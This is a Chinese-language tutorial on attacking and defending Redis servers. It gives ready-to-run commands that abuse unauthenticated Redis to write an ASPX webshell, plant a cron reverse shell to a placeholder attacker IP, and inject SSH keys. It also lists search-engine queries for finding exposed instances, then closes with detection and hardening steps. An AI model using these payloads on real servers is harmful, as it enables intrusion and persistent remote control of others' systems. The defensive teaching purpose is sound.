Redis漏洞利用与防御
字数 1613 2025-08-18 11:37:16
Redis漏洞利用与防御全面指南
一、Redis简介与基础
Redis(Remote Dictionary Server)是一个开源的key-value存储系统,由Salvatore Sanfilippo开发,具有以下特点:
- 使用ANSI C语言编写
- 支持网络、基于内存亦可持久化
- 提供多种数据结构:字符串(String)、哈希(Map)、列表(list)、集合(sets)和有序集合(sorted sets)
- 默认端口:6379(Redis服务),26379(Sentinel配置器)
实验环境搭建
- 下载安装(建议使用3.2.11版本进行漏洞测试):
wget http://download.redis.io/releases/redis-3.2.11.tar.gz
tar -xvf redis-3.2.11.tar.gz
cd redis-3.2.11
make
- 修改配置文件(redis.conf):
# 注释掉bind行
# bind 127.0.0.1
# 关闭保护模式
protected-mode no
- 启动Redis:
./src/redis-server redis.conf
二、Redis常见命令
| 命令 | 描述 |
|---|---|
| info | 查看Redis信息 |
| flushall | 删除所有数据库内容 |
| flushdb | 刷新当前数据库 |
| KEYS * | 查看所有键 |
| set test "value" | 设置变量 |
| config set dir dirpath | 设置工作目录 |
| save | 保存数据到磁盘 |
| get key | 获取键值 |
三、Redis相关漏洞
1. 未授权访问漏洞
- 默认配置无认证,可导致敏感信息泄露
- 可执行恶意命令如flushall清空所有数据
- 可通过EVAL执行lua代码
2. 高危漏洞列表
CVE-2016-8339
Redis 3.2.x < 3.2.4版本缓冲区溢出漏洞,可导致任意代码执行
CVE-2015-8080
Redis 2.8.x < 2.8.24和3.0.x < 3.0.6版本整数溢出漏洞,可绕过沙盒限制
CVE-2015-4335
Redis < 2.8.1和3.x < 3.0.2版本eval命令执行漏洞
CVE-2013-7458
读取".rediscli_history"配置文件信息漏洞
四、Redis攻击技术详解
1. 内网探测
使用nmap扫描Redis服务:
nmap -v -n -Pn -p 6379 -sV --script redis-info 192.168.56.1/24
2. 暴力破解
使用redis-sha-crack工具:
node ./redis-sha-crack.js -w wordlist.txt -s shalist.txt 127.0.0.1 host2.example.com:5555
3. 获取Webshell
当Redis有web目录写权限时:
config set dir E:/www/font
config set dbfilename redis2.aspx
set a "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"c\"],\"unsafe\");%>"
save
4. 反弹Shell
set x "\n\n*bash -i >& /dev/tcp/攻击者IP/端口 0>&1\n\n"
config set dir /var/spool/cron/crontabs/
config set dbfilename root
save
5. SSH免密登录
ssh-keygen -t rsa
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa 公钥内容\n\n\n"
save
五、Redis漏洞利用实战案例
1. 非标准端口Redis发现
通过nmap扫描发现Redis运行在3357端口
2. 认证登录
telnet 目标IP 3357
auth 密码
3. 获取Webshell完整流程
- 查看当前配置:
config get dir
config get dbfilename
- 设置Web目录和文件名:
config set dir E:/www/
config set dbfilename redis2.aspx
- 写入Webshell:
set a "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"c\"],\"unsafe\");%>"
save
- 恢复原始配置:
config set dir 原目录
config set dbfilename 原文件名
del a
flushdb
六、入侵检测与防御
入侵检测方法
- 检查异常key:
keys *
get 可疑key名
- Linux系统检查:
- 查看/root/.ssh/authorized_keys是否被修改
- 检查是否存在异常cron任务
- Webshell扫描:
- 检查网站目录是否存在Redis相关webshell
安全加固措施
- 网络层防护:
- 防火墙禁用6379端口
- 修改Redis默认端口
- 认证配置:
# 修改redis.conf
requirepass 强密码
- 访问控制:
# 限制绑定IP
bind 内网IP
- 命令重命名/禁用:
rename-command CONFIG ""
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command EVAL ""
- 其他安全措施:
- 使用低权限用户运行Redis
- 定期备份重要数据
- 保持Redis版本更新
七、参考工具与资源
- 漏洞扫描工具:
- nmap Redis检测脚本
- Metasploit Redis模块
- 暴力破解工具:
- redis-sha-crack (GitHub)
- 搜索引擎:
- ZoomEye:
port:6379 - FOFA:
port="6379" && protocol==redis
- 参考文档:
- Redis官方文档: https://redis.io/
- Redis命令参考: https://www.cnblogs.com/kongzhongqijing/p/6867960.html
通过以上全面的安全措施,可以有效防御Redis相关的安全风险,保护系统免受攻击。